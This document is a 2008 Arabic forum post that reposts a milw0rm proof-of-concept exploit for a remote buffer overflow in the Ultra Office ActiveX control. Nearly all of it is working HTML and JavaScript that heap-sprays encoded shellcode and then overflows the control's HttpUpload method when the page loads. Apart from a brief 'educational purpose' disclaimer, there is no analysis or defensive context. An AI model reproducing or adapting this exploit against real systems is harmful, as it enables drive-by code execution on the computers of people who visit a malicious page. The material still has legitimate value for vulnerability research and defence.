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قديم 08-28-2008, 08:46 AM   #1 (permalink)
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m3ic9 Ultra Office ActiveX Control Remote Buffer Overflow

url: Ultra Shareware - Free Download for Virtual Image and PDF Printer, Convert Video to iPod and Flash, Image Processing and Encryption/Decryption component, PDF to Text, Screen Capture Software!

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7

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كود:
<script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 20000;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.HttpUpload(x, x, x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
 </script>
 <body onload="javascript: return tryMe();">
  <object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">
   Unable to create object
 </object>
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المصدر

http://milw0rm.com/exploits/6318

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